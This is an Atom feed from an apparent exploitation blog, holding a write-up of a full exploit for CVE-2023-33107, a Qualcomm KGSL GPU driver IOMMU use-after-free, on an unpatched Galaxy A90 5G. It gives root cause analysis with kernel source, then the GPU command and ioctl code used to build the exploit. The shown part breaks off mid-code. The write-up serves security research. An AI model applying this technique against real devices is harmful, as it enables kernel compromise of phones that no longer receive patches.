<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://keto0422.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://keto0422.github.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-03-17T13:38:06+09:00</updated><id>https://keto0422.github.io/feed.xml</id><title type="html">Keto’s blog</title><subtitle>Pwnable Blog</subtitle><entry><title type="html">Galaxy A90 Full Exploit</title><link href="https://keto0422.github.io/2026/02/11/cve-writeup/" rel="alternate" type="text/html" title="Galaxy A90 Full Exploit" /><published>2026-02-11T09:47:24+09:00</published><updated>2026-02-11T09:47:24+09:00</updated><id>https://keto0422.github.io/2026/02/11/cve-writeup</id><content type="html" xml:base="https://keto0422.github.io/2026/02/11/cve-writeup/"><![CDATA[<h1 id="galaxy-a90-full-exploit-cve-2023-33107">Galaxy A90 Full Exploit (CVE-2023-33107)</h1>

<h1 id="1-introduction">1) Introduction</h1>

<p>This article details the process and results of achieving a full exploit on the Galaxy A90 5G(<strong>SM-A908N</strong>) by using the well-documented CVE-2023-33107 from <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html">https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html</a>.</p>

<p>The target device, Galaxy A90 5G, had its update support terminated before the vulnerability patch was released (the patch was released in January 2024), so the vulnerability remains unpatched on this device.</p>

<p>Everything below is based on Samsung Opensource A908NKSU5EWF1 &amp; A908NKSU5EXE.</p>

<h1 id="2-root-cause">2) root cause</h1>

<p>The vulnerability is described in detail at <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html">https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-33107.html</a>.</p>

<p><code class="language-plaintext highlighter-rouge">ioctl(kgsl_fd , IOCTL_KGSL_MAP_USER_MEM,…);</code> with <code class="language-plaintext highlighter-rouge">KGSL_USER_MEM_TYPE_ADDR</code>, <code class="language-plaintext highlighter-rouge">WRAP_SIZE</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">kgsl_ioctl_map_user_mem</span>
	<span class="n">_map_usermem_addr</span>
		<span class="n">kgsl_setup_useraddr</span>
			<span class="n">kgsl_setup_anon_useraddr</span>
				<span class="n">kgsl_mmu_set_svm_region</span>
					<span class="n">kgsl_iommu_set_svm_region</span>
						<span class="n">_insert_gpuaddr</span> <span class="o">-</span> <span class="c1">######### race_window_start
</span>			<span class="n">memdesc_sg_virt</span>
				<span class="n">kgsl_malloc</span>
					<span class="n">vmalloc</span>
					<span class="p">...</span>
						<span class="n">__vmalloc_node_range</span> <span class="k">if</span> <span class="p">(</span><span class="err">!</span><span class="n">size</span> <span class="o">||</span> <span class="p">(</span><span class="n">size</span> <span class="o">&gt;&gt;</span> <span class="n">PAGE_SHIFT</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">totalram_pages</span><span class="p">)</span> <span class="n">fail</span>
			<span class="n">kgsl_mmu_put_gpuaddr</span>
				<span class="n">kgsl_mmu_unmap</span>
					<span class="n">kgsl_iommu_put_gpuaddr</span>
						<span class="n">_remove_gpuaddr</span>
							<span class="n">rb_erase</span> <span class="o">-</span> <span class="c1">########### race_window_end
</span>			<span class="k">return</span> <span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span>
					
</code></pre></div></div>

<p><strong>In the above blog, we can see that the rbtree is temporarily corrupted due to integer overflow.</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>name                                  start        end          color
 /-[left] UAF                         0x7001ff000  0x710203000  red
BOGUS                                 0x700204000  0x700101000  black  [START][walkright]
 \-[right] PLACEHOLDER                0x710204000  0x720604000  red [walk left, nothing found]
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">arm_lpae_map_sg()</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">arm_lpae_map_sg</span><span class="p">(</span><span class="k">struct</span> <span class="n">io_pgtable_ops</span> <span class="o">*</span><span class="n">ops</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">iova</span><span class="p">,</span>
			   <span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">sg</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nents</span><span class="p">,</span>
			   <span class="kt">int</span> <span class="n">iommu_prot</span><span class="p">,</span> <span class="kt">size_t</span> <span class="o">*</span><span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">arm_lpae_io_pgtable</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="n">io_pgtable_ops_to_data</span><span class="p">(</span><span class="n">ops</span><span class="p">);</span>
	<span class="n">arm_lpae_iopte</span> <span class="o">*</span><span class="n">ptep</span> <span class="o">=</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">pgd</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">lvl</span> <span class="o">=</span> <span class="n">ARM_LPAE_START_LVL</span><span class="p">(</span><span class="n">data</span><span class="p">);</span>
	<span class="n">arm_lpae_iopte</span> <span class="n">prot</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">scatterlist</span> <span class="o">*</span><span class="n">s</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">mapped</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">i</span><span class="p">,</span> <span class="n">ret</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">min_pagesz</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">io_pgtable_cfg</span> <span class="o">*</span><span class="n">cfg</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">iop</span><span class="p">.</span><span class="n">cfg</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">map_state</span> <span class="n">ms</span><span class="p">;</span>

	<span class="cm">/* If no access, then nothing to do */</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">iommu_prot</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">IOMMU_READ</span> <span class="o">|</span> <span class="n">IOMMU_WRITE</span><span class="p">)))</span>
		<span class="k">goto</span> <span class="n">out_err</span><span class="p">;</span>

	<span class="n">prot</span> <span class="o">=</span> <span class="n">arm_lpae_prot_to_pte</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">iommu_prot</span><span class="p">);</span>

	<span class="n">min_pagesz</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">__ffs</span><span class="p">(</span><span class="n">cfg</span><span class="o">-&gt;</span><span class="n">pgsize_bitmap</span><span class="p">);</span>

	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ms</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ms</span><span class="p">));</span>

	<span class="n">for_each_sg</span><span class="p">(</span><span class="n">sg</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">nents</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">phys_addr_t</span> <span class="n">phys</span> <span class="o">=</span> <span class="n">page_to_phys</span><span class="p">(</span><span class="n">sg_page</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="o">+</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">offset</span><span class="p">;</span>
		<span class="kt">size_t</span> <span class="n">size</span> <span class="o">=</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">;</span>

		<span class="cm">/*
		 * We are mapping on IOMMU page boundaries, so offset within
		 * the page must be 0. However, the IOMMU may support pages
		 * smaller than PAGE_SIZE, so s-&gt;offset may still represent
		 * an offset of that boundary within the CPU page.
		 */</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ALIGNED</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">offset</span><span class="p">,</span> <span class="n">min_pagesz</span><span class="p">))</span>
			<span class="k">goto</span> <span class="n">out_err</span><span class="p">;</span>

		<span class="k">while</span> <span class="p">(</span><span class="n">size</span><span class="p">)</span> <span class="p">{</span>
			<span class="kt">size_t</span> <span class="n">pgsize</span> <span class="o">=</span> <span class="n">iommu_pgsize</span><span class="p">(</span>
				<span class="n">cfg</span><span class="o">-&gt;</span><span class="n">pgsize_bitmap</span><span class="p">,</span> <span class="n">iova</span> <span class="o">|</span> <span class="n">phys</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

			<span class="k">if</span> <span class="p">(</span><span class="n">ms</span><span class="p">.</span><span class="n">pgtable</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">iova</span> <span class="o">&lt;</span> <span class="n">ms</span><span class="p">.</span><span class="n">iova_end</span><span class="p">))</span> <span class="p">{</span> 
				<span class="n">arm_lpae_iopte</span> <span class="o">*</span><span class="n">ptep</span> <span class="o">=</span> <span class="n">ms</span><span class="p">.</span><span class="n">pgtable</span> <span class="o">+</span>
					<span class="n">ARM_LPAE_LVL_IDX</span><span class="p">(</span><span class="n">iova</span><span class="p">,</span> <span class="n">MAP_STATE_LVL</span><span class="p">,</span>
							 <span class="n">data</span><span class="p">);</span>
				<span class="n">arm_lpae_init_pte</span><span class="p">(</span>
					<span class="n">data</span><span class="p">,</span> <span class="n">iova</span><span class="p">,</span> <span class="n">phys</span><span class="p">,</span> <span class="n">prot</span><span class="p">,</span> <span class="n">MAP_STATE_LVL</span><span class="p">,</span>
					<span class="n">ptep</span><span class="p">,</span> <span class="n">ms</span><span class="p">.</span><span class="n">prev_pgtable</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span> <span class="o">**</span><span class="err">################</span> <span class="p">[</span><span class="n">B</span><span class="p">]</span><span class="o">**</span>
				<span class="n">ms</span><span class="p">.</span><span class="n">num_pte</span><span class="o">++</span><span class="p">;</span>
			<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
				<span class="n">ret</span> <span class="o">=</span> <span class="n">__arm_lpae_map</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">iova</span><span class="p">,</span> <span class="n">phys</span><span class="p">,</span> <span class="n">pgsize</span><span class="p">,</span> 
						<span class="n">prot</span><span class="p">,</span> <span class="n">lvl</span><span class="p">,</span> <span class="n">ptep</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ms</span><span class="p">);</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">ret</span><span class="p">)</span>
					<span class="k">goto</span> <span class="n">out_err</span><span class="p">;</span>
			<span class="p">}</span>

			<span class="n">iova</span> <span class="o">+=</span> <span class="n">pgsize</span><span class="p">;</span>
			<span class="n">mapped</span> <span class="o">+=</span> <span class="n">pgsize</span><span class="p">;</span>
			<span class="n">phys</span> <span class="o">+=</span> <span class="n">pgsize</span><span class="p">;</span>
			<span class="n">size</span> <span class="o">-=</span> <span class="n">pgsize</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">ms</span><span class="p">.</span><span class="n">pgtable</span><span class="p">)</span>
		<span class="n">pgtable_dma_sync_single_for_device</span><span class="p">(</span><span class="n">cfg</span><span class="p">,</span>
			<span class="n">__arm_lpae_dma_addr</span><span class="p">(</span><span class="n">ms</span><span class="p">.</span><span class="n">pte_start</span><span class="p">),</span>
			<span class="n">ms</span><span class="p">.</span><span class="n">num_pte</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">ms</span><span class="p">.</span><span class="n">pte_start</span><span class="p">),</span>
			<span class="n">DMA_TO_DEVICE</span><span class="p">);</span>

	<span class="cm">/*
	 * Synchronise all PTE updates for the new mapping before there's
	 * a chance for anything to kick off a table walk for the new iova.
	 */</span>
	<span class="n">wmb</span><span class="p">();</span>

	<span class="k">return</span> <span class="n">mapped</span><span class="p">;</span>

<span class="nl">out_err:</span>
	<span class="cm">/* Return the size of the partial mapping so that they can be undone */</span>
	<span class="o">*</span><span class="n">size</span> <span class="o">=</span> <span class="n">mapped</span><span class="p">;</span> <span class="o">**</span><span class="err">################</span> <span class="p">[</span><span class="n">C</span><span class="p">]</span><span class="o">**</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">arm_lpae_init_pte</span><span class="p">(</span><span class="k">struct</span> <span class="n">arm_lpae_io_pgtable</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span>
			     <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">iova</span><span class="p">,</span> <span class="n">phys_addr_t</span> <span class="n">paddr</span><span class="p">,</span>
			     <span class="n">arm_lpae_iopte</span> <span class="n">prot</span><span class="p">,</span> <span class="kt">int</span> <span class="n">lvl</span><span class="p">,</span>
			     <span class="n">arm_lpae_iopte</span> <span class="o">*</span><span class="n">ptep</span><span class="p">,</span> <span class="n">arm_lpae_iopte</span> <span class="o">*</span><span class="n">prev_ptep</span><span class="p">,</span>
			     <span class="n">bool</span> <span class="n">flush</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">arm_lpae_iopte</span> <span class="n">pte</span> <span class="o">=</span> <span class="o">*</span><span class="n">ptep</span><span class="p">;</span>

	<span class="cm">/* We require an unmap first */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">pte</span> <span class="o">&amp;</span> <span class="n">ARM_LPAE_PTE_VALID</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">WARN_RATELIMIT</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"map without unmap</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="n">EEXIST</span><span class="p">;</span> <span class="err">############################</span> <span class="p">[</span><span class="n">A</span><span class="p">]</span>
	<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">arm_lpae_init_pte</code> returns <code class="language-plaintext highlighter-rouge">-EEXIST</code> when there is a duplicate PTE.  <strong>—[A]</strong> <br />
But <code class="language-plaintext highlighter-rouge">arm_lpae_map_sg</code> does not handle this case, and even proceeds under the assumption that it was normally allocated. <strong>—[B]</strong></p>

<p>Consider a scenario where allocation begins at <code class="language-plaintext highlighter-rouge">0x1FE000</code>, overlapping with an existing allocation at <code class="language-plaintext highlighter-rouge">0x1FF000~</code></p>

<p><strong>1: First allocation succeeds</strong></p>

<p>Allocation at <code class="language-plaintext highlighter-rouge">0x1FE000</code> succeeds via <code class="language-plaintext highlighter-rouge">__arm_lpae_map</code></p>

<p><strong>2: Second allocation fails silently</strong></p>

<p>Allocation at <code class="language-plaintext highlighter-rouge">0x1FF000</code> fails in <code class="language-plaintext highlighter-rouge">arm_lpae_init_pte</code> (duplicate PTE)</p>

<p>However, <strong>this error is not handled</strong></p>

<p>The code proceeds as if allocation succeeded</p>

<p><strong>3: Third allocation fails with error handling</strong></p>

<p>When <code class="language-plaintext highlighter-rouge">0x200000</code>, <code class="language-plaintext highlighter-rouge">iova &lt; ms.iova_end</code> becomes false (because iova_end is set in <strong>2MB</strong> units), so instead of taking path <strong>[B]</strong>, execution falls through to the else branch.</p>

<p>Allocation at <code class="language-plaintext highlighter-rouge">0x200000</code> via <code class="language-plaintext highlighter-rouge">__arm_lpae_map</code> fails</p>

<p>This error triggers the failure path (<code class="language-plaintext highlighter-rouge">out_err</code>)</p>

<p><strong>4: Incorrect size calculation</strong></p>

<p>Although only <code class="language-plaintext highlighter-rouge">0x1FE000</code> was actually allocated, the code sets <code class="language-plaintext highlighter-rouge">size = mapped</code> to <code class="language-plaintext highlighter-rouge">0x2000</code> <strong>—[C]</strong></p>

<p>This results in <strong>reporting a successful allocation of two pages when only one was mapped</strong></p>

<p><strong>5: Incorrect unmap size calculation</strong></p>

<p>The error handler calculates the unmap size incorrectly: <code class="language-plaintext highlighter-rouge">size_to_unmap = iova + size - __saved_iova_start;</code></p>

<p>Since <code class="language-plaintext highlighter-rouge">size = 0x2000</code> (incorrect value from 4), this leads to calling:<code class="language-plaintext highlighter-rouge">arm_smmu_unmap(domain, __saved_iova_start, size_to_unmap);</code></p>

<p><strong>6: Excessive PTE deletion</strong></p>

<p>Inside <code class="language-plaintext highlighter-rouge">arm_smmu_unmap</code>, the following operation occurs</p>

<p><code class="language-plaintext highlighter-rouge">memset(table, 0, table_len);</code></p>

<p>This deletes PTEs for <strong>both</strong> <code class="language-plaintext highlighter-rouge">0x1FE000</code> and <code class="language-plaintext highlighter-rouge">0x1FF000</code>, even though</p>

<p><code class="language-plaintext highlighter-rouge">0x1FE000</code> was newly allocated (should be unmapped)</p>

<p><code class="language-plaintext highlighter-rouge">0x1FF000</code> belonged to an <strong>existing allocation</strong> (should remain intact)</p>

<p><strong>7: Use-After-Free trigger</strong></p>

<p>When the kernel later attempts to unmap the existing mapping at <code class="language-plaintext highlighter-rouge">0x1FF000~</code>, the following call chain is triggered</p>

<p><code class="language-plaintext highlighter-rouge">kgsl_mem_entry_destroy → kgsl_sharedmem_free → kgsl_mmu_put_gpuaddr</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">kgsl_mmu_put_gpuaddr</span><span class="p">(</span><span class="k">struct</span> <span class="n">kgsl_memdesc</span> <span class="o">*</span><span class="n">memdesc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">kgsl_pagetable</span> <span class="o">*</span><span class="n">pagetable</span> <span class="o">=</span> <span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">pagetable</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">unmap_fail</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">gpuaddr</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">kgsl_memdesc_is_global</span><span class="p">(</span><span class="n">memdesc</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">KGSL_MEMDESC_MAPPED</span> <span class="o">&amp;</span> <span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">priv</span><span class="p">))</span>
		<span class="n">unmap_fail</span> <span class="o">=</span> <span class="n">kgsl_mmu_unmap</span><span class="p">(</span><span class="n">pagetable</span><span class="p">,</span> <span class="n">memdesc</span><span class="p">);</span>

	<span class="cm">/*
	 * Do not free the gpuaddr/size if unmap fails. Because if we
	 * try to map this range in future, the iommu driver will throw
	 * a BUG_ON() because it feels we are overwriting a mapping.
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">PT_OP_VALID</span><span class="p">(</span><span class="n">pagetable</span><span class="p">,</span> <span class="n">put_gpuaddr</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">unmap_fail</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="o">**</span><span class="err">#######</span> <span class="p">[</span><span class="n">D</span><span class="p">]</span><span class="o">**</span>
		<span class="n">pagetable</span><span class="o">-&gt;</span><span class="n">pt_ops</span><span class="o">-&gt;</span><span class="n">put_gpuaddr</span><span class="p">(</span><span class="n">memdesc</span><span class="p">);</span>

	<span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">pagetable</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="cm">/*
	 * If SVM tries to take a GPU address it will lose the race until the
	 * gpuaddr returns to zero so we shouldn't need to worry about taking a
	 * lock here
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">kgsl_memdesc_is_global</span><span class="p">(</span><span class="n">memdesc</span><span class="p">))</span>
		<span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">gpuaddr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

<span class="p">}</span>
</code></pre></div></div>

<p>Analysis of the code reveals that even if <code class="language-plaintext highlighter-rouge">kgsl_mmu_unmap</code> fails PTE validation and returns an error, there are no meaningful consequences other than skipping the <code class="language-plaintext highlighter-rouge">pagetable-&gt;pt_ops-&gt;put_gpuaddr(memdesc);</code> call. <strong>—[D]</strong></p>

<p>Therefore, it is confirmed in the <code class="language-plaintext highlighter-rouge">kgsl_sharedmem_free</code> code that the physical memory is freed <strong>—[F]</strong>       regardless of the unmap operation’s success or failure <strong>—[E]</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">kgsl_sharedmem_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">kgsl_memdesc</span> <span class="o">*</span><span class="n">memdesc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">memdesc</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span> <span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="cm">/* Make sure the memory object has been unmapped */</span>
	<span class="n">kgsl_mmu_put_gpuaddr</span><span class="p">(</span><span class="n">memdesc</span><span class="p">);</span> <span class="o">**</span><span class="err">#######</span> <span class="p">[</span><span class="n">E</span><span class="p">]</span><span class="o">**</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">ops</span> <span class="o">&amp;&amp;</span> <span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">ops</span><span class="o">-&gt;</span><span class="n">free</span><span class="p">)</span>
		<span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">ops</span><span class="o">-&gt;</span><span class="n">free</span><span class="p">(</span><span class="n">memdesc</span><span class="p">);</span> <span class="o">**</span><span class="err">#######</span> <span class="p">[</span><span class="n">F</span><span class="p">]</span><span class="o">**</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">sgt</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">sg_free_table</span><span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">sgt</span><span class="p">);</span>
		<span class="n">kfree</span><span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">sgt</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">page_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">pages</span><span class="p">)</span>
		<span class="n">kgsl_free</span><span class="p">(</span><span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">pages</span><span class="p">);</span>
	<span class="n">memdesc</span><span class="o">-&gt;</span><span class="n">pages</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="p">}</span>
</code></pre></div></div>

<p><strong>Ultimately, an IOMMU Use-After-Free (UAF) condition is established. When the freed physical memory is reallocated and reused by the kernel, the GPU can still perform Read/Write (R/W) operations on that memory using the stale, dangling PTEs.</strong></p>

<h1 id="3-exploit-background">3) Exploit Background</h1>

<p><strong>CVE-2023-33107</strong> is a vulnerability in the KGSL (Kernel Graphics Support Layer) driver, which manages Qualcomm’s Adreno GPU. As analyzed in the previous section, the core of this vulnerability lies in triggering an IOMMU UAF (Use-After-Free) condition through a race condition.</p>

<p>This UAF state means that while the kernel considers the physical memory freed, the GPU still maintains an accessible mapping (dangling PTE) to it. Therefore, to leverage this UAF into an actual exploit, an attacker must read from or write to that memory region using the GPU, not the CPU.</p>

<p>In other words, triggering this vulnerability requires understanding the communication protocol (ioctl) with the KGSL driver, and constructing primitives to manipulate kernel memory through the obtained dangling pointer requires understanding the GPU command structure.</p>

<h2 id="how-to-use-adreno-gpu">How to Use Adreno GPU</h2>

<p>The core operation of the Adreno GPU involves the following steps</p>

<ol>
  <li>The CPU writes GPU commands (<strong>PM4 packets</strong>) into memory (Indirect Buffer, <strong>IB</strong>).</li>
  <li>The CPU submits the IB to the KGSL driver via <strong>ioctl</strong>.</li>
  <li>The KGSL driver queues the IB into the GPU <strong>ringbuffer</strong>.</li>
  <li>The GPU <strong>Command Processor (CP)</strong> reads the ringbuffer, fetches the IB via <strong>DMA</strong>, and executes it asynchronously.</li>
</ol>

<p><strong>Execution Flow</strong></p>

<p><code class="language-plaintext highlighter-rouge">Userspace → ioctl(/dev/kgsl-3d0) → KGSL Driver → GPU Command Processor</code></p>

<p>Each layer’s role is</p>

<p><strong>Userspace</strong>: Write PM4 packets into IB and submit via ioctl</p>

<p><strong>KGSL Driver</strong>: Manage GPU Virtual Address (IOMMU address space) and submit queue control</p>

<p><strong>GPU Command Processor (CP)</strong>: Parse and execute command stream (PM4 packets)</p>

<p>Commands used in KGSL are divided into two levels</p>

<p><strong>(A) KGSL ioctl (driver interface)</strong></p>

<p>Commands that request to the driver such as <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPUOBJ_ALLOC</code>, <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPU_COMMAND</code></p>

<p><strong>(B) GPU CP command stream</strong></p>

<p>Commands that GPU directly executes such as <code class="language-plaintext highlighter-rouge">CP_MEM_WRITE</code>, <code class="language-plaintext highlighter-rouge">CP_MEM_TO_MEM</code></p>

<h2 id="a-kgsl-ioctl">(A) KGSL ioctl</h2>

<h3 id="context-creation-ioctl_kgsl_drawctxt_create"><strong>Context creation: <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_DRAWCTXT_CREATE</code></strong></h3>

<p>GPU commands are submitted/managed in context units, and each context has separated timestamp-based progress state.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">kgsl_drawctxt_create</span> <span class="n">ctx</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">flags</span> <span class="o">=</span> <span class="n">KGSL_CONTEXT_PREAMBLE</span> <span class="o">|</span> <span class="n">KGSL_CONTEXT_NO_GMEM_ALLOC</span>
    <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_DRAWCTXT_CREATE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">...</span>
</code></pre></div></div>

<h3 id="gpu-object-management-ioctl_kgsl_gpuobj_"><strong>GPU object management: <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPUOBJ_*</code></strong></h3>

<p>KGSL manages memory accessible by GPU as GPU objects</p>

<p><strong>ALLOC</strong>: Create GPU object</p>

<p><strong>INFO</strong>: Query object’s gpuaddr (GPU VA)</p>

<p>This gpuaddr is the address used in PM4 packets</p>

<p><strong>FREE</strong>: Deallocate object</p>

<p><strong>Main buffers used in exploit</strong></p>

<p><strong>IB (Indirect Buffer)</strong>: CPU writes PM4 packets, GPU reads and executes</p>

<p><strong>dst</strong>: GPU writes results, CPU reads (for leak/dump)</p>

<p><strong>CPU mapping</strong></p>

<p>GPU objects are allocated by kernel, but CPU access is needed to fill contents.</p>

<p>Map to CPU VA using <code class="language-plaintext highlighter-rouge">mmap(/dev/kgsl-3d0, offset=id&lt;&lt;12)</code> + <code class="language-plaintext highlighter-rouge">KGSL_MEMFLAGS_USE_CPU_MAP</code> flag and write IB.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">kgsl_gpuobj_alloc</span> <span class="n">dst_alloc</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">size</span>  <span class="o">=</span> <span class="n">PAGE_SIZE</span><span class="p">,</span>
        <span class="p">.</span><span class="n">flags</span> <span class="o">=</span> <span class="n">KGSL_MEMFLAGS_USE_CPU_MAP</span>
  <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_ALLOC</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dst_alloc</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">goto</span> <span class="n">cleanup</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">dst_id</span> <span class="o">=</span> <span class="n">dst_alloc</span><span class="p">.</span><span class="n">id</span><span class="p">;</span>
<span class="n">dst_vma</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">dst_alloc</span><span class="p">.</span><span class="n">mmapsize</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span>
